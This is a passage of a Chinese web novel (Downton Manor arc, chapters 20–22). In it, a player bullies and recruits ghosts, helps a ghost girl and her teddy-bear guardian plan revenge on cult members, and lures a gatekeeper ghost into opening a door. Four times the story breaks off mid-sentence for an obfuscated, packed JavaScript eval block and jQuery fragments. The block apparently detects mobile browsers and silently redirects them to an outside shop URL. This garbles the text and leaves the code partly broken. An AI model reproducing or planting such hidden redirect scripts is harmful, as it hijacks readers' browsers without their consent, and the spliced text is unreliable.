每一步行动前都先和安哲说清楚,生怕安哲对她这个文静乖巧的善良小女孩造成什么误会。
“嗯,你吸?”
此时伴随着黑色冤魂的崩溃,隔绝阵法内外的淡红色屏障也已经消失。
虽然不知道这个小姑娘为什么会用一脸看变态的表情,胆战心惊地飘过来和他碎碎念了好久,安哲还是善良地让出了位置,顺便着帮她用菜刀把试图逃窜的黑色冤魂能量流拍回。
“快吸吧,”看小姑娘傻乎乎地僵在原地,还不知道自己刚才又把鬼吓到了的安哲善意提醒。
“再不快点吸的话,这些能量就要逃跑逸散完了。”
“哦哦好。”
小姑娘的鬼魂下意识地往玩偶小熊那看了一眼,对上玩偶小熊鼓励打气的目光后。
刚苏醒就遇上了安哲这个变态,啊不,小漂亮,不清楚她沉睡的这段时间里人类怎么就离谱成了这样的小姑娘战战兢兢地往前又飘了飘,而后给自己打气般握紧了拳头。
“那我,开始了哦?”
得到安哲善意肯定的点头后,眼泪汪汪的小姑娘仰头,红艳艳的嘴唇撕裂,骤然扩大到了耳后。
她仰头暴风吸入,边吸收能量边忍不住呜呜呜地哭了起来。
琪琪快来,那边的那个变态一直在看我,我好怕。
“唉,真惨。”
追着黑色恶魂砍了半个多小时,安哲手上的菜刀都有些砍豁砍钝了。
打算利用这个时间把手头武器优化一下,安哲一边在坚硬的地板上磨刀,一边忍不住有些感慨。
“那些坏人太过分了,好好的一个小姑娘,都给吓哭了。”
哥,人小姑娘是为什么被吓哭的,你是真一点β数……自觉都没有啊!
俗话说得好,尊敬都是自己挣出来的。
起码在安哲今晚露了这小小一手后,场上性格各异的鬼怪们对他的态度都尊重了许多,就连庄灿在心里碎碎念的时候都不太敢骂人了。
聆听着安哲在身后“蹭蹭”的磨刀声,感觉自己好像被威胁了的小姑娘鬼眼泪汪汪地将能量全部吞掉。
吸收完空气中逸散的能量后,实力大增,起码有1.5个庄灿那么强了的小姑娘底气强了不少。
她慢悠悠地飘到安哲身前,低头瞄着安哲手上的菜刀,红唇轻启,小声说道。
“我,我来帮你打烙印嗷。”
藏身在菜刀中的菜刀鬼:“……#¥@!%#!”
还以为这小丫头变强之后要上来跟安哲干上一架的菜刀鬼彻底破防。
然而她再骂,也抵不过被从菜刀中拽出,并被餐食干净的命运。
看着小姑娘擦着唇边的口水张大嘴巴,迫不及待要将自己炫掉的样子,被小姑娘鬼用血逼出菜刀的菜刀鬼放声大叫。
“别吃我!我有重要情报!!”
咔,小姑娘张到一半的嘴突然僵住。
她看了眼安哲,安哲也正不好意思地看着她,明白安哲的意思后,小姑娘张开的嘴闭拢,委委屈屈地退下。
“好吧,你先问。”
忍住刚睡醒的饥饿,与嘴里逐渐泛滥的口水,小姑娘抱起小熊玩偶,盯着菜刀鬼的眼神满是渴望。
“我等你,问完了再吃。”
菜刀鬼:“……”
在心里将庄灿这个引鬼子进村的鬼奸骂了无数遍,已经无法再回到菜刀中的菜刀鬼皱着老脸,颤巍巍地飘到了离安哲远一点的地方。
虽然这点距离并不顶用,但起码会让她心理上感觉更安全一点。
“是这样的,你们也知道我和守门使大人关系非同一般……”
菜刀鬼说话慢悠悠的,恨不得一个字拖上十分钟,再加上她飘忽苍老的嗓音,硬是在石室中鬼为营造出了回音和空灵诡异的氛围感。
“守——门——使——大——人——……”
眼看着菜刀鬼越说越慢,短短几个字愣是磨出了叫魂的感觉,安哲忍无可忍地举刀,抬眼向菜刀鬼看去。
“你……”
“守门使大人的住处不太一般,门外有个极为独特的阵法。”
仿佛妙手回春的神医般,安哲举起刀的那一刻,原先话都说不利索,整个人宛如卡带般不断卡壳的菜刀鬼瞬间恢复正常。
不但鬼变精神了,炯炯有神地盯着安哲手上的菜刀,就连语速都变成了1.25倍速
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582877|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的版本。
“那个阵法开启后防御性极强,用一般的手段等闲不能破之,而且……”
瞄了眼安哲,菜刀鬼老实交代。
“我们以前试过,这把经过特殊加持的菜刀砍不动那扇门。”
安哲:“……”
“你们两个,以前不是相好的吗?”
安哲不太理解,是中间闹矛盾了吗,“你怎么会用菜刀去砍门?”
“咳,”菜刀鬼移开视线,难得有些不好意思起来。
“年纪大了吗,偶尔会玩得比较花。”
安哲:“…………”
在场的人和鬼陷入沉默,拒绝对菜刀鬼刚才的那番话进行深入理解。
“所以,”安哲勉强从冲击中回过神来,“你的意思是?”
“我的意思是,你们这边还收鬼吗?我看他们几个也都是投靠过去的……”
用眼神在庄灿那三只颓丧废鬼身上扫了一圈,菜刀鬼眼一横,心一狠,咬牙说道。
“我可以给你们带路,我可以帮你们破解阵法,我也想投!”
“……啊??”
安哲此刻的表情就像那只黑白震惊的猫meme,只不过是美颜加瘦版。
“那个,你们两个不是姘,咳,我是说相好的吗?”
安哲震惊茫然:“你怎么就背叛他了,这么果断的吗……”
“哎呀,小娃你还年轻,你还不懂,爱上之后互相捅刀什么的,很常见啦!”
就这么轻描淡写地带歪了安哲的爱情观,菜刀鬼笑呵呵地摆了摆手,言语间很是淡然。
“再说了我也只是他姘头,我又不是他正式对象,考虑这么多干啥。”
投降一念起,顿觉天地宽。
心思动了之后,菜刀鬼越琢磨越觉得可行,看着安哲也愈发顺眼。
“这家伙不老实,肯定没给你说看门老狗那儿的阵法是随机变换的吧?没有破解之法在,光靠蛮力暴力破门,难哦!”
顺着菜刀鬼指向性极强的目光,安哲转头,默默向庄灿看去。
“啊哈哈,你看这事儿闹的。”
打死庄灿也不会想到,内卷和工贼的竞争竟然会席卷到他一个死去多年的鬼身上。
不是,这年头,当人类的狗都开始抢着做了吗?
眼看着菜刀鬼还没上岗就对他发出挑衅,庄灿在心里狂骂老菜帮子和老棺材板之际,无能狂怒地怒了好几下。
“是有这回事来着……”
确实不会破解这阵法的庄灿含泪低头。
看着眼前菜刀鬼一脸奸诈地冲安哲做了个揖,皱巴着老脸谄笑讨好的样子,觉得自己地位受到威胁,虽然不清楚具体是哪里,但隐隐感觉到自己输了的庄灿勃然大怒。
他冷笑一声,挺着肿胀的身子DuangDuangDuang地就走了过去。
“大佬,虽然我不知道门上的阵法怎么破解,但我可以帮你去把门骗开啊!”
利用自己庞大的身躯强行将菜刀鬼的鬼影挡住,庄灿弯下身来谄媚一笑,以比刚才菜刀鬼的投诚还要奸诈讨好数倍的态度和缓说道。
“那老小子天天驱使我做事,那门我一喊铁定立马就开。”
“你别听她胡咧咧,暴力破门不好,里面感知到动静后就有了防备,那老登胆子小,说不定就跑了。”
“还是我去骗开门吧,这样他没有防备,到时候您再出手,那必定是手到擒来呐!!”
呵呵,看着安哲陷入沉思的样子,觉得自己谗言成功的庄灿骄傲挺胸。
个死棺材板里钻出来的破鬼,还想跟他竞争当狗,一把年纪了你当得明白吗你!
20.唐顿庄园(二十)
面对庄灿凑上来的舔狗竞争,还没投诚成功就疑似要失败了的菜刀鬼快气死了。
眼看着安哲还真的开始认真思索,菜刀鬼赶忙从庄灿的身后飘上前去,恨恨说道。
“大人,别听他在这里混淆视听乱嚼舌根,我用阵法开门怎么会引起里面那个看门老狗的注意?又不是用武力值强行破门!”
安哲:“……”
眼睁睁地看着菜刀鬼和庄灿在争执中,对庄灿上司的称呼从“守门使大人”变成了“看门老狗”。
再想想自己被庄灿和菜刀鬼在争执中从头踩到尾的武力破门法,安哲叹了口气,被这错综复杂的鬼际关系搞得很是心累。
“那就先不吃你,等你把门开了再说。”
杀鬼又没有额外积分,还平白消耗他的体力和菜刀的耐久度。
看着经过一晚上的暴力劈砍后,刀上已经呈现如蜘蛛网般的细密花纹,还是有点心疼自己菜刀的安哲简单粗暴地当了回清汤大老爷。
闻言,明显还饿着肚子的小姑娘鬼抱着小熊表情委屈,吞口水时带起了好大一声咕咚声。
菜刀鬼:“……”
你就那么想吃我吗?现在的小年轻真是一点尊老爱幼的传统美德都没有了啊!!
在极致的愤怒之下,菜刀鬼极致地愤怒了好几下。
她用视线扫了一圈,被小姑娘从菜刀这个栖身地赶出来后,菜刀鬼实力大降,周围的一圈人和鬼没有一个是她能打过的。
慢悠悠地飘到安哲身边,菜刀鬼想了想,期期艾艾地说道。
“大人,要不你放我回菜刀里,我给你当刀灵吧?”
没办法,菜刀是之前杀小姑娘的凶器,上面本就打上了小姑娘鬼的记号与气息,严格来说,她之前寄居在菜刀里的行为就像是趁别墅主人不在家,偷偷跑去别墅蹭住的某些老年人一样。
现在菜刀已经归属安哲,菜刀鬼连小姑娘都抢不过,对上安哲那就更别提了。
“……刀灵?”
这玩意也能赋灵的吗,看着都快碎了。
安哲愣了一下,他举起手中的菜刀,对着石室昏暗的光线看了几眼。
然后眼睁睁的,呈蜘蛛网般碎裂不已的刀面晃悠了两下,啪的一声彻底崩掉。
安哲:“……”
真的碎了!
沿着之前磕碰出的裂痕,菜刀的刀身裂成了一堆大大小小的不规则刀片,安哲拿着幸存下来的刀把,沉默地向菜刀鬼看去。
“可以,那这菜刀你能修不?”
“修,修不了……”看着碎成一地的菜刀渣,菜刀鬼人,啊不,整个鬼都傻掉了。
这把刀当年杀掉小姑娘后又被阵法能量多年浸泡,早已是古堡内为数不多的特殊存在(道具),这些年她仗着这把刀护身,明明很弱却依旧可以在古堡中横行霸道。
能把这么特殊的一把刀给硬生生用碎掉,你是有多虎啊!
想想安哲今晚莽穿天际的离谱行为,最后一丝希望破灭的菜刀鬼绝望极了。
“呜,呜呜……”
“别哭了,吵死了!”
似乎被这呜呜的哭声勾起了什么不好的回忆般,小姑娘鬼的脸色瞬间变得冰冷。
她直勾勾地盯着菜刀鬼,在吃与不吃间纠结了好一会儿,最终,想想报仇还需要这家伙去骗开门,再想想安哲的武力,小姑娘鬼轻啧一声,不情不愿地往前走了几步。
“这个刀,我能帮你修,但是你,要帮我报仇,向当年那伙人,可以吗?”
话音未落,安哲眼前,淡蓝色的透明弹窗再度弹出。
【任务四:帮助琪琪报仇,当前状态(未完成),任务奖励:积分,修复刀具】
当年那伙人……
日记中被▇▇遮盖屏蔽的部分?
此时安哲已经差不多能确定,小姑娘鬼就是他们之前拿到的道具日记本的拥有者。
对当年的真相愈发好奇,安哲点头应下,顺带着向玩偶小熊看去。
“对了,说好了的独家消息呢?”
“年纪大了,差点忘了,”熊爪在耷拉歪掉的脑袋上拍了拍,小熊玩偶从小姑娘鬼怀里蹦下,挥爪示意她去修刀不用管它。
见状,小姑娘皱着鼻子哼了一声,从随身小口袋里抓出刚才还剩了一口没吃完的黑色冤魂。
依依不舍地看了眼掌心里四处乱窜,试图逃跑的黑魂,她白皙到没有血色的苍白手指伸出,抓着黯淡了很多的黑色冤魂往刀的碎片上缠。
▇▇▇!!
凄厉到了极致的哀嚎声刺耳响起,宛如泣血般的怨毒鬼叫听得石室内的众鬼齐齐一哆嗦。
他们眼睁睁地看着小姑娘鬼拽着她吃剩下的黑色冤魂,宛如揪橡皮糖般拽巴着强行拉伸,拉出了好长好长的几截,再捶打几下,强行锤出黏性后黏在刀片上。
不过片刻的功夫,破碎的菜刀就粘好了大半,旁边,见证了全程,以庄灿为首的投降派们原本躁动的心思也沉稳下来。
不沉稳不行,小小一个团队,汇聚而来的卧龙凤雏大神竟如此之多。
想想小姑娘在安哲面前也一脸乖巧的样子,刚生出不臣之心,脑后反骨悄悄外冒的庄灿吸了口气,他一边把冒出来的反骨使劲往回压,一边无比庆幸自己还没动手。
不然现在被拽巴着黏刀的倒霉鬼可能就是他了……
悄咪-咪地往后退了退,小心地将众鬼护至胸-前,庄灿蹲在安全的小角落里,听小熊玩偶讲当年的故事。
【任务三:救出琪琪的主人,当前状态(已完成),任务评价:S,任务奖励:30000积分(已发放),适用于任何邪神的通用信物*1(已发放至玩家背包中),来自琪琪的独家消息(联系琪琪自行领取)】
安哲扫了眼任务面板,发现任务奖励中“来自琪琪的独家消息”后面的状态已经变成了发放中。
背包里,适用于任何邪神的通用信物是一片模糊未知的黑雾,没有任何使用说明。
安哲静下心来,在小姑娘修刀的阵阵哀嚎背景音里,听小熊声音沙哑地将之前发生的事娓娓道来。
“我是唐顿庄园的守护灵,从唐顿家族的祖先和我签订契约的那一刻起,我就化作管家,世代守护着唐顿家族。”
“唐顿庄园位于乡下的郊区,位置偏远,生活环境也并不复杂,在我的守护下,唐顿家族的族人世世代代地生活在这里,生活祥和安宁。”
“直到有一天,直到那伙满嘴谎话的疯子过来!他们欺骗了唐顿家族这一代的族长,说我是害人的邪物,他们说他们是神派下来拯救世人的圣教徒,有办法将我炼化,他们还说,只要信封他们的神,向神灵摆上虔诚的祭品,神就会降下神祭,从此以后不老不死,青春永驻!”
玩偶小熊的情绪愈发激动,说到最后几乎是在低声嘶吼。
听到这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591515|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
边的动静,一旁正在修补菜刀的小女孩停下动作,担忧地看了过来。
对上小女孩满是担心的视线,小熊松开了紧紧握住的手掌,粗糙的熊脸上褐色的泪痕鲜艳。
“然后他信了,信了那群邪-教徒,”小熊喃喃自语着,表情无力而又嘲讽。
“唐顿庄园自此落败,这里沦为了邪-教徒的实验和祭祀场。”
“哼,我就说那群家伙都不是什么好东西,爸爸妈妈他们就是不听我的。”
旁边,已经修补好菜刀,或者说把黑色恶魂折磨完毕的小姑娘拎着修好的菜刀,蹦蹦跳跳地走了过来。
她将菜刀递给安哲,而后抱起小熊玩偶,心疼地摸了摸小熊受伤后耷拉下来的脑袋。
“琪琪,等下回去我找找针线,帮你把脑袋重新缝上。”
“好,”将歪掉的脑袋搭在小姑娘苍白消瘦的手指上,玩偶小熊情绪平稳了许多。
“我教你怎么缝。”
“嗯嗯!”
和这边温馨中带着点惊悚感的愉快氛围不同,另一边,安哲将小熊刚才说的那些和小姑娘的日记对比,总觉得还有哪不对。
“唐顿小姐,你的爸爸妈妈呢?”
“哦,他们都死啦。”
继承了唐顿名氏的小姑娘歪头,抱着小熊玩偶坐在石桌上愉快晃腿。
“爸爸杀了妈妈,然后杀了家里的所有佣人,最后冲过来将我砍死,然后他站在被血泊淹没的阵坛里,自己也化成了汁,被那群人咕嘟咕嘟地吸掉啦。”
小姑娘仰着天真明媚的一张脸,猩红微笑的嘴唇却说着骇人的话。
“最后还是琪琪把我的尸体藏起来护住了我,活该嘻嘻,要不是他们信了那群骗子的鬼话杀光了古堡内的所有人,还想把我抓起来血祭,琪琪也不至于会受伤虚弱成这样。”
身为唐顿家族的守护灵,琪琪的能力和唐顿家族的兴盛与血脉息息相关。
他能阻止外敌入侵,却阻止不了家族内部血脉的自相残杀。
家里所有人都被小姑娘的爸爸拎刀砍死,曾经还算兴旺的家族现在就剩下小姑娘一个人的鬼魂还苟延残喘着,琪琪现在还能活着没有消散,只能说是小姑娘的魂魄即便在被镇压时,也坚定地对琪琪选择了信任与守护。
“对了唐顿小姐,你知道那群邪-教徒的阵法怎么破解吗?”
想想小姑娘日记里的内容,已经答应了帮她报仇的安哲掂了掂受伤的菜刀,平静好奇的脸庞带上了丝兴奋的疯感。
“不要怕,告诉哥哥,哥哥帮你砍了他们。”
“……我不怕。”
仿佛在给自己打气般,唐顿小姐握紧了拳头,她抬头看着安哲,声音小小的,越说越没底气。
“我也不清楚,我之前的尝试失败了……那个,如果,如果我说我不知道的话,你会不会打我啊?”
“……怎么会呢,当然不了!”
在抱着小熊眼泪汪汪,看着他一脸害怕的小姑娘头上揉了揉,一点自觉都没有的安哲很是正气。
“放心,我可是好人,我们好人就是要除恶扬善的。”
天杀的邪-教徒,真该死啊。
看着小姑娘鬼泪眼朦胧,也不知是信了还是没信,但看上去好像挺感动的样子,安哲轻啧一声,感慨唏嘘极了。
看把好好的一个小姑娘都给吓成什么样了,这群邪-教徒,实在是太邪恶了!
21.唐顿庄园(二十一)
“啊这……”
面对安哲信誓旦旦说自己是个好人的样子,再看看唐顿小姐被安哲揉脑袋,眼泪汪汪并不是很敢动的样子。
一时间石室内,所有人和鬼都沉默下来,就连小胖子都避开了安哲的清澈眼神,有些心虚地移开了视线。
哥,你挺好的,就是感觉有点坏。
安哲:“……?”
在安哲逐渐疑惑起来的迷茫表情中,被安哲这不动手时小白兔般纯良无害的样子迷惑到,大腿挂件之一,良心狠狠作痛的李祥踌躇片刻,咬牙认同。
“对!”
小胖子发狠说道,“我安哥多好一个人啊,单纯天真又善良,小朋友你放心说,我们安哥会给你报仇的!”
石室中的其他鬼:“……?”
神特么的单纯天真又善良,当着鬼的面就这样睁着小眼睛说鬼话,你良心真的不会痛吗?
“对,”见还是有人认同自己,觉得这些家伙变成鬼后审美和观点可能也跟着变了的安哲笑眯眯的。
“来跟哥哥说说,你之前是怎么失败的?”
【收集到唐顿小姐的负面情绪,能量值+666!】
“我,我……”
感受着安哲手掌在自己脑袋上温柔拍揉的力度,忘不了这纤细白皙的手掌是怎么握成结实的小拳头,一拳把别的鬼头盖骨都砸崩的唐顿小姐扁了扁嘴。
她红汪汪的大眼睛里含着眼泪,抱着玩偶小熊很坚强地没有哭出声来。
“那群邪-教徒的实验基地和仪式祭坛都在地下,我当时在琪琪的帮助下偷偷潜入,按照古籍中的描述中断了仪式的进行。”
“但是……”
仿佛想到了什么很可怕的回忆般,唐顿小姐本就毫无血色的脸变得更加苍白,她如血般殷红的薄唇轻抖,眼睛里满是恐惧。
“仪式中断了……但是仪式还在进行!”
黑紫色的血管如蛇般突显蔓延,唐顿小姐抱着怀里的玩偶小熊,手上青筋毕露。
“实验基地被破坏,所有的实验品都跑了出来,那些试验品见人就杀,和那些邪-教徒厮杀在了一起,仪式明明已经被破坏了,但仪式,仪式没有中止,它还在进行,它杀了所有人!!”
唐顿小姐越说越崩溃,眼中猩红迅速浮现。
耳边,刺耳绝望的哀嚎声似乎仍在回荡,回想起自己父母的冤魂从献祭阵法上飘起,尖叫着鲜血淋漓扑向她的画面。
情绪愈发崩溃的唐顿小姐哀嚎一声,将头埋在玩偶小熊的肚子上呜呜哭了起来。
“别哭,你别哭……”
问着问着愣是把小姑娘给问哭了,安哲看着唐顿小姐抱着小熊抽泣不已,眼珠猩红眼泪狂掉的样子,一时间有些无措,下意识地向李祥看去。
要不你哄哄?
见状,李祥示意安哲先把手从小姑娘鬼的脑袋上放开,而后走过去小声安慰。
或许是当了鬼之后感情比较极端,情绪来得快消失得也快的缘故,过了一会儿,唐顿小姐真的在李祥的安慰下满满止住了哭泣,情绪逐渐平稳下来。
“嗯……”
冷静下来后,小姑娘就觉得自己刚才当着那么多人的面失声痛哭的样子有些丢鬼了。
她红通通的目光在场上的这些鬼身上挨个扫过,又咕咚一声咽了口口水,很有效果的,原本还探头探脑好奇吃瓜的庄灿等鬼顿时老实下来,蹲在角落里一个赛一个的安静。
“安哥,如果这个仪式中断不了的话,那我们接下来怎么办?”
看着同样显示在自己系统列表中的任务,李祥有些发愁。
报仇的前提是人得在,当年的人如果死光了的话,他们现在找谁去报仇?
“找鬼啊,”抬手帮小熊玩偶将破肚处的棉花往里塞了塞,安哲笑眯眯的,看起来一点也不焦躁。
“当年的人虽然死完了,但鬼应该还没有。”
别的不说,就庄灿前上司,那个所谓的守门使大人,身份应该就很不简单。
已知条件一,庄灿是被前上司害死的;
已知条件二,庄灿是曾经的实验品;
已知条件三,庄灿对前上司极为惧怕,前上司的实力不强,但对古堡内的阵法十分熟悉。
那么从这些已知条件中可以推断出什么?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603853|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
庄灿的前上司就是曾经的实验人员,也就是造成当年古堡惨案,直接间接影响小姑娘父母死亡的邪-教徒凶手之一!
理清思路后,唐顿小姐和玩偶小熊身上凶气大盛。
瞄了菜刀鬼和庄灿那群没用的废物小点心一眼,唐顿小姐小手一挥,表示等下好好表现,以前的情况她既往不咎,以后也可以将他们收编,在古堡里给他们划分住处。
闻言,正窝在角落里颓废躺平,吃瓜看戏的几只鬼当即狂喜。
要知道小熊玩偶是唐顿庄园的守护灵,唐顿小姐更是唐顿家族目前‘存活’的唯一血脉。
要不是现在古堡被那几个疯子通过阵法强行控制,唐顿小姐和玩偶小熊对这座已经快化为怨灵的古堡是有百分百的掌控权的。
被成功收编了啊!
庄灿喜滋滋的,二话不说扛着画框和床板DuangDuangDuang的就走了过来。
“没问题!”
他拍着自己水润肿胀的胸脯,大力保证:“小姐你放心,我们将带头冲锋!”
……真是看着就一副虾兵蟹将,让人很不能放心的样子。
并没有被庄灿等鬼迫不及待表忠心的样子安抚到,唐顿小姐看着眼前众鬼看上去还行,但实际动起手来还没自己能打的样子,不由得叹了口气,惆怅地向安哲看去。
“等下就靠你了,”想想安哲那异于常人的癖好,小姑娘鬼顿了一下,给自己做足了心理建设后小声开口。
“哥哥!”
“哎,不用这么客气。”
安哲有些害羞地摆了摆手,表示不用这么隆重。
“老板放心,包满意的!”
轰隆隆,闪电划过夜空,短暂将黑暗照亮。
明暗交加的阴森背景里,安哲操控藤蔓托举着众鬼外加一只人,悄默默地重回古堡。
“准备好了吗?”
身形诡异的黑影们一个接一个地从二楼窗户窜入,安哲拎着重新黏合好后愈发凶悍的菜刀,他站在阴影里,在短暂亮起的黑暗中扬起一抹灿烂微笑。
“准备好的话,我们就开始动手!”
22.唐顿庄园(二十二)
轰隆!
长条枝桠状的闪电撕裂天空,再次在漆黑一片的夜幕上蔓延,二楼失去了灯光的小厨房里,安哲手中的菜刀泛着森森黑气。
这菜刀之前碎成了那个样子,庄灿他们还在心中窃喜过不能用了。
经过唐顿小姐和黑色冤魂的付出与修复后,原先碎裂的地方重新拼接,暗黑色的凹凸纹路顺着碎裂的纹理蔓延,凄厉的哀嚎声仿佛BGM般若隐若现地响起,整把刀从原先肉眼可见的凶物,变成了现在依旧肉眼可见的大凶之物。
“……动手,现在吗?”
见安哲沐浴在月光和黑气中,提着刀微笑着向他看来的样子,恍惚间以为这家伙是要刀了自己的庄灿愣了一下,下意识地后退一大步。
“我为团队立过功,我为团队流过血,不要杀我,我要见唐顿小姐!”
“这都什么跟什么……”
唐顿小姐也觉得这玩意丢人,黑着脸挥手示意他滚远。
看安哲刀尖下垂,站在那里疑惑歪头的样子,觉得这家伙真好看,也觉得这家伙真变态的唐顿小姐犹豫了一下。
片刻后,在玩偶小熊鼓励的目光中,她深吸一口气,勇敢地走上前来。
“动手动手……是向那个‘看门使大人’动手吧?”
“好像是叫‘守门使大人’?”安哲也不太确定,顺带着疑惑地往身后看了一眼。
“你们在看什么,我背后有什么东西吗?”
怎么感觉这些家伙看他的眼神都怪怪的,就像是在看变态一样。
安哲看了眼李祥,发现小胖子的表情一如既往的平静,安详得仿佛原地超脱了一般。
确定自己没有问题,是这些鬼审美不同的安哲乐呵呵的,又挥舞了几下唐顿小姐修复完后,变得更顺手了的心爱菜刀,安哲不放心地催促。
“我们走吧,夜长梦多,我怕等下天亮了,他躲起来不出来会有点麻烦。”
听听,这还是人说的话吗,《怕他躲起来不好找》,多冒昧啊,那守门老登向来自命不凡,要是听到这句话,估计能当场气死吧?
身为最先投靠的头号鬼奸带路党,庄灿在前面喜滋滋地引路去打自己的前上司,边走边忍不住在心里吐槽。
有了唐顿小姐许诺的收编,以及看过了安哲在地下石室里的黑色冤魂一命速杀全过程后,此时的庄灿已经对安哲没有了任何自欺欺人,或者说大逆不道的想法。
他只想将这个小变态尽快送走,然后在唐顿小姐的支持下划块地盘,时不时地啃个送上门来探险的人类,安心舒服地当自己的鬼大王。
就像他的前上司,那个今晚就要死的看门老登一样!
想想今后悠闲幸福的做鬼生活,庄灿就忍不住嘿嘿嘿地笑出声来。
一时间,走廊内阴风阵阵,桀桀桀的鬼笑声不绝于耳,安哲被这鬼叫声吵得心烦,抬手在庄灿头上拍了一把,顺便补叫了句哥哥。
“你小声点,等下把鬼吓跑了怎么办啊哥哥。”
被这一菜刀差点脑震荡都给拍出来的庄灿:“……”
救命,难道只有他一个鬼觉得这家伙到处叫哥哥的样子很变态吗?
扫了眼周围一脸正常的众鬼和单人,发现好像只有他在意这个的庄灿很是崩溃。
在他窝居在古堡不出门的日子里,人类到底都进化成什么样了!以后要来的人类都是这样的变态,他还怎么舒服悠闲地做他的鬼大王!
李祥走在安哲旁边,眼睁睁地看着庄灿脸上的表情以一秒十个的状态飞速切换。
感慨了下新手副本里的鬼还真是情绪丰富,李祥走在庄灿闭嘴后重新陷入寂静中的走廊上,突然发现有些不对。
“二楼的这些房间,之前门都是关着的吗?”
指了指一处位于走廊写拐角处的房间门,李祥下意识皱眉。
他怎么记得之前来时房间门不是这样的,有的门被开了,有的开着的门此刻却紧紧闭着。
“唔,可能房间里的鬼串门了吧。”
身为队伍里对鬼和鬼的心思了解最透彻的鬼奸之一,庄灿冷笑一声,对这些小花招鄙夷不已。
“之前见我们几个在挨揍,都缩在房间里不敢出来呗。现在见我们走了,外面没声了,之前不敢出门交流的,也都开始流窜出来试图找个人啃啃了。”
“每个鬼擅长使的花招都不一样,有的喜欢关门引诱人去开门杀,有的喜欢开着门引诱,进门的时候伸头砍头,伸胳膊砍胳膊。”
给小胖子简单科普了一下鬼怪们的小心思,庄灿嗤笑一声,很是不屑。
“一天天的使这些小花招有什么用,像我们实力强的鬼,都是硬碰硬直接对刚的!”
能打得过就吃人,打不过就跑路,连跑也跑不了的……
一般是遇不上的,遇上了只能自认倒霉呗。
扫了眼正抱着刀乐呵呵听瓜看热闹的安哲,倒了八百年大血霉遇上了这个能打小变态的庄灿很是愤愤。
缩头乌龟也不是没道理的,苟起来确实命活得比较长啊!
想想一众鬼里只有他们几个头铁不信邪的被安哲抓起来奴役,不知不觉间,庄灿的态度开始转变起来。
不行,等送走了这个小变态,他也要开始当苟王,只要苟的时间够长,就一定……
邦!
猝不及防下吃了记大力拍击的庄灿下意识抱头,脑瓜子嗡嗡的。
“……你干啥!”
再次怀疑安哲这小变态会读心的庄灿勃然大怒。
“突然拍我干什么?”
我不是已经决定抛弃硬刚开始苟了吗,这你也揍?
“不是突然,他刚才喊你半天了。”
看不下去的唐顿小姐捂脸叹气,决定等安哲他们走后,一定要把庄灿这个弱智玩意扔到看不见的偏远位置。
有这样的下属在,实在是有损做老大的威严。
“你们两个不是要骗开门吗,快点动手吧,天都要亮了。”
扫了眼站在旁边同意等了半天,但一声都没有吭的菜刀鬼,再次感受到了鬼界职场有多卷的庄灿冷哼一声,慢吞吞地飘上前去。
在两个人和一众鬼好奇的目光中,庄灿飘到原先挂画框的那扇墙壁上方,揉了揉脸后,庄严肃穆地谄媚开口。
“守门使大人开门呐,我是庄灿,我给您上贡来啦!”
还以为这家伙要怎么骗鬼的其他人:“……”
“这么,没有技术含量的吗?”
对上身后震惊探究的眼神,同样觉得有点丢鬼的庄灿梗着脖子,回过身去小声叭叭。
“你们懂什么,守门使大人他是认声
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612967|142342||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
音的,听不出来我的声音,他是不会给你们开门的好吧!”
“唔,是庄灿啊……”
话音未落,墙壁后的隐藏密道里,苍老缥缈的声音传来,隔着墙壁听起来有些沉闷。
“什么贡品啊,又是你逮到的来古堡探险的人类吗?你先放外面吧。”
并没有想要开门的意思,守门使大人清了清嗓子,开始空口画饼。
“做得不错,辛苦你了,最近古堡里不太安生,你抓人的时候记得注意安全,等过段时间消停点了,我就去上报吾主,封你做下面的看门鬼,如何呐?”
你可拉倒吧,庄灿翻了个大大的白眼。
这个饼他从苏醒后有记忆起就开始听,好几十年了,这看门老登硬是连字都不改,空口白牙地一直愣画。
真当他是大傻子啊!
